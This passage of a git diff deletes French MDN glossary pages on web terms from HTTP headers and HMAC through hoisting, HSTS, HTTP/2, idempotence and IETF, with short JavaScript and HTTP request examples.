    -
  • {{Glossary("General header","en-tête général")}} : en-têtes applicables à la fois aux requêtes et aux réponses, mais sans lien avec les données eventuellement transmises dans le corps du message.
    • -
  • {{Glossary("Request header","en-tête de requête")}} : en-têtes contenant des informations supplémentaires sur la ressource à récupérer ou sur le client lui-même.
    • -
  • {{Glossary("Response header","en-tête de réponse")}} : en-têtes contenant des informations supplémentaires à propos de la réponse, telles que son emplacement, ou à propos du serveur lui-même (nom, version...).
    • -
  • {{Glossary("Entity header","en-tête d'entité")}} : en-têtes contenant des informations supplémentaires sur le corps de l'entité, telles que la taille de son contenu ou son type MIME.
    • -
- -

Requête basique avec un seul en-tête :

- -
GET /example.http HTTP/1.1
-Host: example.com
-
- -

Les redirections ont des en-têtes obligatoires ({{HTTPHeader("Location")}}) :

- -
302 Found
-Location: /NewPage.html
-
- -

Un ensemble d'en-têtes typique :

- -
304 Not Modified
-Access-Control-Allow-Origin: *
-Age: 2318192
-Cache-Control: public, max-age=315360000
-Connection: keep-alive
-Date: Mon, 18 Jul 2016 16:06:00 GMT
-Server: Apache
-Vary: Accept-Encoding
-Via: 1.1 3dc30c7222755f86e824b93feb8b5b8c.cloudfront.net (CloudFront)
-X-Amz-Cf-Id: TOl0FEm6uI4fgLdrKJx0Vao5hpkKGZULYN2TWD2gAWLtr7vlNjTvZw==
-X-Backend-Server: developer6.webapp.scl3.mozilla.com
-X-Cache: Hit from cloudfront
-X-Cache-Info: cached
-
- -

En apprendre plus

- -

Culture générale

- -
    -
  • Syntaxe des en-têtes dans la spécification HTTP.
    • -
- -

Informations techniques

- - diff --git a/files/fr/glossaire/hmac/index.html b/files/fr/glossaire/hmac/index.html deleted file mode 100644 index 228ec17c9b..0000000000 --- a/files/fr/glossaire/hmac/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: HMAC -slug: Glossaire/HMAC -tags: - - Cryptographie - - Glossaire - - Sécurité -translation_of: Glossary/HMAC ---- -

HMAC est un protocole utilisé pour les messages d'authentification {{Glossary("Cryptography","cryptographiquement")}}. Il peut utiliser toutes sortes de {{Glossary("Cryptographic hash function","fonctions de hachage cryptographique")}}, et sa force dépend de la fonction sous-jacente (SHA1 ou MD5 par exemple) et du choix de la clé secrète. Avec une telle combinaison, l'{{Glossary("Algorithm","algorithme")}} de vérification HMAC est alors repéré avec un nom composé comme HMAC-SHA1.

- -

HMAC est utilisé pour s'assurer de l'intégrité et de l'authenticité.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Keyed-Hash_Message_Authentication_Code","HMAC")}} sur Wikipedia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/hoisting/index.html b/files/fr/glossaire/hoisting/index.html deleted file mode 100644 index d95ea69677..0000000000 --- a/files/fr/glossaire/hoisting/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Hoisting -slug: Glossaire/Hoisting -tags: - - Encodage - - Glossaire - - JavaScript -translation_of: Glossary/Hoisting ---- -

Le hoisting (en français, "hissage") est un terme que vous ne trouverez dans aucune prose de spécification normative avant  l'ECMAScript® 2015.  Le hissage a été conçu comme une façon générale de penser à la manière dont les contextes d'exécution (précisément, les phases de création et d'exécution) fonctionnent en JavaScript. Toutefois, le concept peut être un peu déroutant à première vue.

- -

Conceptuellement, par exemple, une définition stricte du hissage suggère que les déclarations de variables et de fonctions sont déplacées physiquement en haut de votre code, mais ce n'est pas ce qui se passe en fait. A la place, les déclarations de variables et de fonctions sont mises en mémoire pendant la phase de compilation, mais restent exactement là où vous les avez tapées dans votre code.

- -

En apprendre plus

- -

Exemple technique

- -

L'un des avantages du fait que JavaScript met en mémoire les déclarations des fonctions avant d'exécuter un quelconque segment de code, est que cela vous permet d'utiliser une fonction avant que nous ne la déclariez dans votre code. Par exemple :

- -
function nomChat(nom) {
-  console.log("Le nom de mon chat est " + nom);
-}
-
-nomChat("Tigrou");
-/*
-Le résultat du code ci-dessus est : "Le nom de mon chat est Tigrou"
-*/
- -

Le fragment de code ci-dessus est la façon dont vous vous attendez à écrire le code pour qu'il fonctionne. Voyons maintenant ce qui se passe quand nous appelons la fonction avant de la déclarer :

- -
nomChat("Chloé");
-
-function nomChat(nom) {
-  console.log("Le nom de mon chat est " + nom);
-}
-/*
-Le résultat du code ci-dessus est : "Le nom de mon chat est Chloé"
-*/
- -

Même si nous appelons d'abord la fonction dans notre code, avant que la fonction ne soit écrite, le code fonctionne néanmoins. Cela est dû à la façon dont l'exécution de contexte fonctionne en Javascript.

- -

Le hissage fonctionne tout aussi bien avec d'autres types de données et d'autres variables.  Les variables peuvent être initialisées et utilisées avant d'être déclarées. Mais elles ne peuvent pas être utilisées sans initialisation.

- -

Exemple technique

- -
num = 6;
-num + 7;
-var num;
-/* Ne donne aucune erreur tant que num est déclarée*/
- -

JavaScript hisse seulement les déclarations, pas les initialisations. Si vous utilisez une variable qui est déclarée et initialisée après l'avoir utilisée, sa valeur sera indéfinie. Les deux exemples ci-dessous montrent le même comportement.

- -
var x = 1; // Initialise x
-console.log(x + " " + y); // Affiche '1 undefined'
-var y = 2; // Initialise y
-
-
-// Le code suivant se comportera de la même façon que le code précédent:
-var x = 1; // Initialise x
-var y; // Déclare y
-console.log(x + " " + y); // Affiche '1 undefined'
-y = 2; // Initialise y
-
- -

Références techniques

- - diff --git a/files/fr/glossaire/host/index.html b/files/fr/glossaire/host/index.html deleted file mode 100644 index aea4026562..0000000000 --- a/files/fr/glossaire/host/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Hôte -slug: Glossaire/Host -tags: - - Glossaire - - Intermédiaire - - Web - - WebMechanics -translation_of: Glossary/Host ---- -

Un hôte est un périphérique connecté à l'{{glossary("Internet")}} (ou à un réseau local). Des hôtes appelés {{glossary("serveur","serveurs")}} offrent des services supplémentaires comme l'hébergement de pages web ou le stockage de fichiers et de courriels.

- -

En savoir plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Hôte (informatique)", "Hôte (informatique)")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/hotlink/index.html b/files/fr/glossaire/hotlink/index.html deleted file mode 100644 index e5e6ac3cec..0000000000 --- a/files/fr/glossaire/hotlink/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Hotlink -slug: Glossaire/Hotlink -tags: - - Glossaire - - Mécanismes web -translation_of: Glossary/Hotlink ---- -

Un hotlink (appelé aussi inline link (lien en ligne)) est un objet (typiquement une image) directement lié à un autre sur un autre site. Par exemple, une image hébergée sur site1.com est montrée directement sur site2.com.

- -

La pratique est souvent désapprouvée car elle peut provoquer une utilisation non désirée de la bande passante sur le site web hébergeant l'objet lié, et des problèmes de droits d'auteur - elle est considérée comme un vol lorsqu'elle est effectuée sans autorisation.

- -

En apprendre plus

- -
    -
  • {{Interwiki("wikipedia","Hotlinking")}} sur Wikipedia
    • -
diff --git a/files/fr/glossaire/houdini/index.html b/files/fr/glossaire/houdini/index.html deleted file mode 100644 index e399075477..0000000000 --- a/files/fr/glossaire/houdini/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Houdini -slug: Glossaire/Houdini -tags: - - CSS - - CSS API - - Glossaire - - Houdini - - Reference -translation_of: Glossary/Houdini ---- -

Houdini est un ensemble d'API de bas niveau qui donnent aux développeurs la possibilité d'étendre le CSS, offrant la possibilité de se connecter au processus de style et de mise en page du moteur de rendu d'un navigateur. Houdini donne aux développeurs l'accès au modèle d'obet CSS (CSSOM), permettant aux développeurs d'écrire du code que le navigateur peut analyser en CSS. L'avantage de Houdini est que les développeurs peuvent créer des fonctionnalités CSS sans attendre les spécifications des normes Web pour les définir et sans attendre que chaque navigateur implémente complètement les fonctionnalités.

- -

Bien que de nombreuses fonctionnalités activées par Houdini puissent être créées avec JavaScript, l'interaction directe avec le CSSOM avant l'activation de JavaScript permet des temps d'analyse plus rapides. Les navigateurs créent le CSSOM - y compris les processus de mise en page, de peinture et de composition - avant d'appliquer les mises à jour de style trouvées dans les scripts: les processus de mise en page, de peinture et de composition sont répétés pour que les styles JavaScript mis à jour soient implémentés. Le code Houdini n'attend pas la fin de ce premier cycle de rendu. Il est plutôt inclus dans ce premier cycle, créant des styles rendables et compréhensibles.

- -

Voir aussi

- - diff --git a/files/fr/glossaire/hpkp/index.html b/files/fr/glossaire/hpkp/index.html deleted file mode 100644 index 90b99b88f7..0000000000 --- a/files/fr/glossaire/hpkp/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: HPKP -slug: Glossaire/HPKP -tags: - - Glossaire - - Sécurité -translation_of: Glossary/HPKP ---- -

HTTP Public Key Pinning (HPKP) est une fonctionnalité de sécurité qui indique à un client Web d'associer une clé publique cryptographique spécifique à un certain serveur Web pour réduire le risque d'attaques {{Glossary("MitM")}} avec des certificats fabriqués .

- -
-

En apprendre plus

- - -
diff --git a/files/fr/glossaire/hsts/index.html b/files/fr/glossaire/hsts/index.html deleted file mode 100644 index 7e3a118ebd..0000000000 --- a/files/fr/glossaire/hsts/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: HSTS -slug: Glossaire/HSTS -tags: - - Glossaire - - HTTP - - Sécurité -translation_of: Glossary/HSTS ---- -

HTTP Strict Transport Security permet à un site web d'informer le navigateur que son accès ne devrait pas se faire en HTTP et qu'il devrait donc convertir toute tentative de connexion en HTTP en connexion HTTPS. HSTS est un en-tête HTTP,  {{HTTPHeader("Strict-Transport-Security")}}, il est donc envoyé par le serveur au début de la réponse à une requête d'un client.

- -

En d'autres termes, cela informe le navigateur que basculer d'HTTP à HTTPS dans l'url fonctionnera (et sera plus sécurisé) et lui demande de le faire systématiquement.

- -
-

Pour approfondir

- -
    -
  • {{HTTPHeader("Strict-Transport-Security")}}
    • -
  • Article OWASP : HTTP Strict Transport Security
    • -
  • Wikipedia : {{interwiki("wikipedia", "HTTP Strict Transport Security")}}
    • -
-
diff --git a/files/fr/glossaire/html/index.html b/files/fr/glossaire/html/index.html deleted file mode 100644 index 8c14fdfcb4..0000000000 --- a/files/fr/glossaire/html/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: HTML -slug: Glossaire/HTML -tags: - - Encodage - - Glossaire - - HTML - - 'l10n:priority' -translation_of: Glossary/HTML ---- -
{{QuickLinksWithSubpages("/fr/docs/Glossaire")}}
- -

HTML (HyperText Markup Language) est un langage descriptif qui définit la structure d'une page web.

- -

Bref historique

- -

En 1990, lorsqu'il présente sa vision du {{Glossary("World Wide Web","Web")}}, Tim Berners-Lee définit le concept d'{{Glossary("Hypertext","hypertexte")}}, qu'il formalise l'année suivante avec un langage de balisage essentiellement basé sur {{Glossary("SGML")}}. L'{{Glossary("IETF")}} commence officiellement à spécifier le HTML en 1993, et publie la version 2.0 en 1995, après plusieurs versions de travail. En 1994, Berners-Lee fonde le {{Glossary("W3C")}} pour développer le Web. En 1996, le W3C reprend le travail sur le HTML et publie un an plus tard la recommandation HTML 3.2. HTML 4.0 fut publié en 1999 et devient une norme {{Glossary("ISO")}} en 2000.

- -

À cette période, le W3C est sur le point d'abandonner le HTML au profit du {{Glossary("XHTML")}}, ce qui provoque la création d'un groupe indépendant appelé {{Glossary("WHATWG")}} en 2004.  Grâce au WHATWG, le travail sur le {{Glossary("HTML5")}} se poursuit : les deux organisations publient la première version de travail en 2008 puis la norme finale en 2014.

- -

Concept et syntaxe

- -

Un document HTML est un document texte brut structuré par des {{Glossary("Element","éléments")}}. Les éléments sont encadrés par des {{Glossary("Tag","balises")}} ouvrantes et fermantes associées. Chaque balise  commence et se termine par les caractères inférieur et supérieur (<>). Il existe quelques balises vides qui ne contiennent pas de texte, comme par exemple {{htmlelement("img")}}.

- -

On peut préciser les balises HTML avec des {{Glossary("Attribute","attributs")}} pour fournir des informations complémentaires qui vont modifier la façon dont le navigateur va interpréter l'élément :

- -

Detail of the structure of an HTML element

- -

Un fichier HTML est généralement enregistré avec une extension .htm ou .html. Il est mis à disposition par un {{Glossary("Server","serveur web")}}, et le rendu est réalisé par un {{Glossary("Browser","navigateur Web")}}.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "HTML", "Hypertext_Markup_Language")}} sur Wikipédia
    • -
- -

Apprendre le HTML

- - - -

Référence technique

- - diff --git a/files/fr/glossaire/html5/index.html b/files/fr/glossaire/html5/index.html deleted file mode 100644 index 4e373b08ba..0000000000 --- a/files/fr/glossaire/html5/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: HTML5 -slug: Glossaire/HTML5 -tags: - - CodingScripting - - Glossaire - - HTML - - HTML5 -translation_of: Glossary/HTML5 ---- -

La dernière version stable du {{Glossary("HTML")}}, HTML5, transforme le HTML qui était un simple balisage pour structurer des documents en une plate-forme complète de développement d'applications. Parmi ses autres caractéristiques, HTML5 comporte de nouveaux éléments et des {{glossary("API")}} {{glossary("JavaScript")}} pour améliorer le stockage, le multimédia et l'accès au matériel.

- -

Pour en savoir plus

- - diff --git a/files/fr/glossaire/http/index.html b/files/fr/glossaire/http/index.html deleted file mode 100644 index 1d8fd82b7b..0000000000 --- a/files/fr/glossaire/http/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: HTTP -slug: Glossaire/HTTP -tags: - - Débutant - - Glossaire - - HTTP - - Infrastructure -translation_of: Glossary/HTTP ---- -

L'Hypertext Transfer Protocol (HTTP) (Protocole de transfert hypertexte) est un {{glossary("Protocol","protocole")}} de base qui autorise le transfert de fichiers sur le {{glossary("World Wide Web","web")}}, typiquement entre un navigateur web et un serveur afin que des utilisateurs puissent les consulter. La version actuelle de la spécification HTTP s'appelle {{glossary("HTTP_2", "HTTP/2")}}.

- -

Dans le cadre d'une {{glossary("URI")}}, la partie "http://" s'appelle le "schema" et commence la plupart du temps au début d'une addresse. Par exemple, dans "https://developer.mozilla.org", "https://" indique au navigateur de requêter le document au travers du protocole HTTP. Plus précisément, dans cet exemple, https fait référence à la version sécurisée du protocole HTTP, {{glossary("SSL")}} (also called TLS).

- -

HTTP est textuel (toute communication est faite en texte clair) et sans état (aucune communication n'est au courant des communications précédentes). Cette dernière propriété permet à un utilisateur de naviguer facilement sur internet: la consultation des documents et sites web ne requiert pas de contexte particulier. HTTP peut également être utilisé dans le cadre de services REST pour la communication de serveur à serveur, ou bien via des requêtes AJAX au sein d'un site internet pour le rendre plus dynamique.

- -
-

En apprendre plus

- -
    -
  • HTTP sur MDN
    • -
  • {{interwiki("wikipedia","Hypertext_Transfer_Protocol","HTTP")}} sur Wikipedia
    • -
-
diff --git a/files/fr/glossaire/http_2/index.html b/files/fr/glossaire/http_2/index.html deleted file mode 100644 index 7f9ec6bcfb..0000000000 --- a/files/fr/glossaire/http_2/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: HTTP/2 -slug: Glossaire/HTTP_2 -tags: - - Glossaire - - HTTP - - Infrastructure - - Performance du Web - - Reference - - 'l10n:priority' -translation_of: Glossary/HTTP_2 ---- -

HTTP/2 est une révision majeure du Protocole de réseau HTTP. Les principaux objectifs de HTTP/2 sont de réduire la {{glossary("latency","latence")}} en permettant le multiplexage complet des demandes et des réponses, minimiser la surcharge du protocole grâce à une compression efficace des champs d'en-tête HTTP, et ajouter la prise en charge de la priorisation des demandes et de la diffusion sur le serveur.

- -

HTTP/2 ne modifie en aucune façon la sémantique d'application de HTTP. Tous les concepts fondamentaux de HTTP 1.1, tels que les méthodes HTTP, les codes d'état, les URL et les champs d'en-tête, restent en place. En revanche, HTTP/2 modifie la façon dont les données sont formatées (encadrées) et transportées entre le client et le serveur, qui gèrent tous deux l'ensemble du processus, et dissimule la complexité de l'application dans la nouvelle couche d'encadrement. Par conséquent, toutes les applications existantes peuvent être fournies sans modification.

- - diff --git a/files/fr/glossaire/http_3/index.html b/files/fr/glossaire/http_3/index.html deleted file mode 100644 index 973bf74d69..0000000000 --- a/files/fr/glossaire/http_3/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: HTTP/3 -slug: Glossaire/HTTP_3 -tags: - - HTTP - - Intro - - NeedsContent -translation_of: Glossary/HTTP_3 ---- -

HTTP/3 est la prochaine révision majeure du protocole réseau HTTP, succédant à {{glossary("HTTP 2", "HTTP/2")}}. Le point majeur de HTTP/3 est qu'il utilise un nouveau protocole {{glossary("UDP")}} nommé QUIC, au lieu de {{glossary("TCP")}}.

- - diff --git a/files/fr/glossaire/https/index.html b/files/fr/glossaire/https/index.html deleted file mode 100644 index 775d3ec276..0000000000 --- a/files/fr/glossaire/https/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: HTTPS -slug: Glossaire/https -tags: - - Glossaire - - HTTPS - - Infrastructure - - Sécurité -translation_of: Glossary/https ---- -

HTTPS (HTTP Sécurisé) est une version chiffrée du protocole {{Glossary("HTTP")}}. Il utilise généralement {{Glossary("TLS")}} ou {{Glossary("SSL")}} pour chiffrer l'intégralité des communications entre un client et un serveur. La connexion sécurisée permet aux clients d'échanger de manière sûre des données sensibles avec un serveur, par exemple pour des transactions bancaires ou du commerce en ligne.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "HTTPS")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/hyperlien/index.html b/files/fr/glossaire/hyperlien/index.html deleted file mode 100644 index 68a4742bb8..0000000000 --- a/files/fr/glossaire/hyperlien/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Hyperlien -slug: Glossaire/Hyperlien -tags: - - Glossaire - - HTML - - Navigation -translation_of: Glossary/Hyperlink ---- -

Les hyperliens connectent des pages web ou des données à une autre. En HTML, l'élément {{HTMLElement("a")}} définit un hyperlien d'un endroit sur une page web (comme une chaîne de caractères ou une image) à un autre endroit sur une autre page web (ou même sur la même page).

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Hyperlien","Hyperlien")}} sur Wikipedia
    • -
  • Le guide Création d'hyperliens sur MDN
    • -
- -

Référence technique

- - - -

Apprendre sur le sujet

- - diff --git a/files/fr/glossaire/hypertexte/index.html b/files/fr/glossaire/hypertexte/index.html deleted file mode 100644 index 069c306f09..0000000000 --- a/files/fr/glossaire/hypertexte/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Hypertexte -slug: Glossaire/Hypertexte -tags: - - Glossaire - - Mécanismes web - - Web -translation_of: Glossary/Hypertext ---- -

L'hypertexte est un texte contenant des liens vers d'autres textes, par opposition à un unique flux linéaire comme dans un roman.

- -

Le terme a été inventé par Ted Nelson aux alentours de 1965.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Hypertexte", "Hypertexte")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git "a/files/fr/glossaire/h\303\251ritage/index.html" "b/files/fr/glossaire/h\303\251ritage/index.html" deleted file mode 100644 index c0218cba5b..0000000000 --- "a/files/fr/glossaire/h\303\251ritage/index.html" +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Héritage -slug: Glossaire/Héritage -tags: - - Encodage - - Glossaire - - Héritage - - Langage de programmation - - Programmation -translation_of: Glossary/Inheritance ---- -

L'héritage est une fonctionnalité majeure de la {{glossary("OOP","programmation orientée objet")}}. L'abstraction de données peut être exprimée à plusieurs niveaux, c'est-à-dire que des {{glossary("Class","classes")}} peuvent avoir des superclasses et des sous-classes.

- -

En tant que développeur d'applications, vous pouvez choisir quels seront les {{glossary("Attribute","attributs")}} et les {{glossary("Method","méthodes")}} de la superclasse à garder et ajouter les vôtres, rendant la définition de la classe très souple. Certains langages permettent à une classe d'hériter de plus d'un parent (héritage multiple).

- -

Pour approfondir

- -

Apprendre sur ce sujet

- - - -

 

diff --git a/files/fr/glossaire/i18n/index.html b/files/fr/glossaire/i18n/index.html deleted file mode 100644 index 5acd79dec1..0000000000 --- a/files/fr/glossaire/i18n/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: I18N -slug: Glossaire/I18N -tags: - - Crédibilité - - Débutant - - Glossaire - - Internationalisation - - OpenPractices - - i18n -translation_of: Glossary/I18N ---- -

i18n (issu de "internationalisation", un mot de 20 lettres) est l'ensemble des bonnes pratiques pour permettre à des produits ou des services d'être lisiblement adaptés à toute culture visée.

- -
-

L’internationalisation est la conception et le développement d’un produit, d’une application ou d’un contenu de document qui permet une localisation facile pour les publics ciblés de culture, région et langue différentes. (Définition du {{Glossary("W3C")}})

-
- -

Parmi d'autres choses, i18n nécessite le support de plusieurs…

- -
    -
  • jeux de caractères (en général via Unicode)
    • -
  • unités de mesure (monnaie, °C/°F, km/miles, etc.)
    • -
  • formats de dates et heures
    • -
  • dispositions de clavier
    • -
  • directions de texte
    • -
- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Internationalisation_(informatique)", "i18n")}} sur Wikipédia
    • -
- -

Référence technique

- - - -

Apprendre sur ce sujet

- - diff --git a/files/fr/glossaire/iana/index.html b/files/fr/glossaire/iana/index.html deleted file mode 100644 index 76f280ef74..0000000000 --- a/files/fr/glossaire/iana/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: IANA -slug: Glossaire/IANA -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/IANA ---- -

IANA (Internet Assigned Numbers Authority) est une composante de l'{{glossary("ICANN")}} chargée de l'enregistrement et/ou de l'attribution de {{glossary("Domain name","noms de domaines")}}, {{glossary("IP address","adresses IP")}}, et d'autres noms et numéros utilisés par les {{glossary("Protocol","protocoles")}} Internet.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • Site web officiel
    • -
  • {{interwiki("wikipedia", "Internet Assigned Numbers Authority", "IANA")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/icann/index.html b/files/fr/glossaire/icann/index.html deleted file mode 100644 index 3201d0e2a1..0000000000 --- a/files/fr/glossaire/icann/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: ICANN -slug: Glossaire/ICANN -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/ICANN ---- -

ICANN (Internet Corporation of Assigned Names and Numbers) est une société à but non lucratif internationale qui maintient le {{glossary("DNS","système de noms de domaine")}} et l'enregistrement des {{glossary("IP address","adresses IP")}}.

- -

Pour en savoir plus

- -

Culture générale

- - diff --git a/files/fr/glossaire/ice/index.html b/files/fr/glossaire/ice/index.html deleted file mode 100644 index e8f6774d77..0000000000 --- a/files/fr/glossaire/ice/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: ICE -slug: Glossaire/ICE -tags: - - CodingScripting - - Glossaire - - Protocoles - - Réseau - - WebRTC -translation_of: Glossary/ICE ---- -

ICE (Interactive Connectivity Establishment) est un framework utilisé par {{glossary("WebRTC")}} (parmi d'autres technologies) pour connecter deux pairs ensemble, indépendamment de la topologie réseau (en général pour des conversations audio et/ou vidéo). Ce protocole laisse les deux pairs chercher et établir une connexion avec l'autre même s'ils utilisent tous les deux de la translation d'adresses ({{glossary("NAT")}}) pour partager une adresse IP globale avec d'autres périphériques sur leurs réseaux locaux respectifs.

- -

L'algorithme du framework recherche le chemin avec la plus faible latence pour connecter les deux pairs, en essayant ces possibilités dans cet ordre :

- -
    -
  1. Connexion UDP directe (dans ce cas—et uniquement dans ce cas—un serveur {{glossary("STUN")}} sert à trouver l'adresse de réseau du pair opposé
    2. -
  2. Connexion TCP directe, via le port HTTP
    3. -
  3. Connexion TCP directe, via le port HTTPS
    4. -
  4. Connexion indirecte via un serveur {{glossary("TURN")}}/relais (si une connexion directe échoue, e.g. si un des pairs est situé derrière un pare-feu qui empêche la traversée du NAT)
    5. -
- -

Pour approfondir

- -

Culture générale

- - - -

Référence technique

- -
    -
  • {{rfc("5245")}}, la spécification IETF pour ICE
    • -
  • {{domxref("RTCIceCandidate")}}, l'interface représentant un candidat ICE
    • -
diff --git a/files/fr/glossaire/ide/index.html b/files/fr/glossaire/ide/index.html deleted file mode 100644 index eecc704ad4..0000000000 --- a/files/fr/glossaire/ide/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: EDI -slug: Glossaire/IDE -tags: - - CodingScripting - - Glossaire -translation_of: Glossary/IDE ---- -

Un Environnement de Développement Intégré (EDI) ou Environnement de Développement Interactif est une application logicielle qui fournit des facilités complètes aux programmeurs pour le développemet de logiciels. Un EDI est constitué normalement d'un éditeur de code source, d'outils pour automatiser la compilation et d'un débogueur.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Environnement_de_développement", "EDI")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/idempotent/index.html b/files/fr/glossaire/idempotent/index.html deleted file mode 100644 index c3c03a19c6..0000000000 --- a/files/fr/glossaire/idempotent/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Idempotente -slug: Glossaire/Idempotent -tags: - - Glossaire - - HTTP - - Mécanismes web -translation_of: Glossary/Idempotent ---- -

Une méthode HTTP est idempotente si une requête identique peut être faite une ou plusieurs fois de suite avec le même effet, tout en laissant le serveur dans le même état. En d'autres termes, une méthode idempotente ne doit pas avoir d'effets secondaires (sauf dans la tenue de statistiques). Implémentées correctement, les méthodes {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} et {{HTTPMethod("DELETE")}} sont idempotentes, mais pas la méthode {{HTTPMethod("POST")}}. Toutes les méthodes {{glossary("Safe","sécurisées")}} sont également idempotentes.

- -

L'idempotence implique que seul l'état réel du serveur est pris en compte et le code d'état renvoyé par chaque requête peut différer : le premier appel d'un {{HTTPMethod("DELETE")}} retournera probablement un code {{HTTPStatus("200")}}, tandis que les lancements successifs retourneront probablement un code {{HTTPStatus("404")}}. Une autre implication, {{HTTPMethod("DELETE")}} étant idempotente, les développeurs ne doivent pas implémenter d'API RESTful avec une fonctionnalité de suppression de la dernière entrée utilisant la méthode DELETE.

- -

À noter : l'idempotence d'une méthode n'est pas garantie par le serveur et certaines applications peuvent incorrectement rompre la contrainte d'idempotence.

- -

GET /pageX HTTP/1.1 est idempotente. Appelée plusieurs fois de suite, le client obtient les mêmes résultats :

- -
GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-
- -

POST /add_row HTTP/1.1 n'est pas idempotente ; si elle est appelée plusieurs fois, elle ajoute plusieurs lignes :

- -
POST /add_row HTTP/1.1
-POST /add_row HTTP/1.1   -> ajoute une 2nde ligne
-POST /add_row HTTP/1.1   -> ajoute une 3ème ligne
-
- -

DELETE /idX/delete HTTP/1.1 est idempotente, même si le code d'état renvoyé peut changer entre les demandes :

- -
DELETE /idX/delete HTTP/1.1   -> Retourne 200 si idX existe
-DELETE /idX/delete HTTP/1.1   -> Retourne 404 comme il vient d'être supprimé
-DELETE /idX/delete HTTP/1.1   -> Retourne 404
- -

En apprendre plus

- -

Culture générale

- -
    -
  • Définition d'idempotent dans la spécification HTTP (en).
    • -
- -

Savoir technique

- -
    -
  • Description de méthodes idempotentes courantes : {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}}, {{HTTPMethod("DELETE")}}, {{HTTPMethod("OPTIONS")}}
    • -
  • Description d'une méthode non idempotente courante : {{HTTPMethod("POST")}}
    • -
diff --git a/files/fr/glossaire/identifiant/index.html b/files/fr/glossaire/identifiant/index.html deleted file mode 100644 index 9567c0bca3..0000000000 --- a/files/fr/glossaire/identifiant/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Identificateur -slug: Glossaire/Identifiant -tags: - - Débutant - - Glossaire - - Partage -translation_of: Glossary/Identifier ---- -

Une séquence de caractères dans le code qui identifie une {{glossary("Variable","variable")}}, une {{glossary("Function","fonction")}}, ou une {{glossary("Property","propriété")}}.

- -

En {{glossary("JavaScript")}}, les identifiants ne peuvent contenir que des caractères alphanumériques (ou "$" ou "_"), et ne doivent pas commencer par un chiffre. Un identifiant diffère d'une chaîne de caractères dans la mesure où une chaîne est une donnée, tandis qu'un identifiant fait partie du code. En JavaScript, il n'existe pas de moyen pour convertir un identifiant en chaîne, mais il est parfois possible de convertir une chaîne en identifiant.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Identificateur", "Identificateur")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/idl/index.html b/files/fr/glossaire/idl/index.html deleted file mode 100644 index edaa4e9708..0000000000 --- a/files/fr/glossaire/idl/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: IDL -slug: Glossaire/IDL -tags: - - CodingScripting - - Glossaire - - IDL - - Interface description language -translation_of: Glossary/IDL ---- -

Un IDL (Interface Description Language) est un langage générique utilisé pour définir les interfaces des objets en dehors de tout autre langage de programmation spécifique.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Interface description language", "IDL")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/ietf/index.html b/files/fr/glossaire/ietf/index.html deleted file mode 100644 index d5b76fddac..0000000000 --- a/files/fr/glossaire/ietf/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: IETF -slug: Glossaire/IETF -tags: - - Glossaire - - IETF - - Infrastructure - - Internet -translation_of: Glossary/IETF ---- -

L'Internet Engineering Task Force (IETF) est une organisation mondiale qui élabore les {{glossary('spécification','spécifications')}} gouvernant les mécanismes derrière le fonctionnement de l'{{glossary("Internet")}}, en particulier {{glossary("TCP")}}/{{glossary("IPv6","IP")}}, la suite de {{glossary("Protocol","protocoles")}} Internet. L'IETF est ouvert, composé de bénévoles et soutenu par l'Internet Society.

- -

Pour approfondir

- -

Culture générale

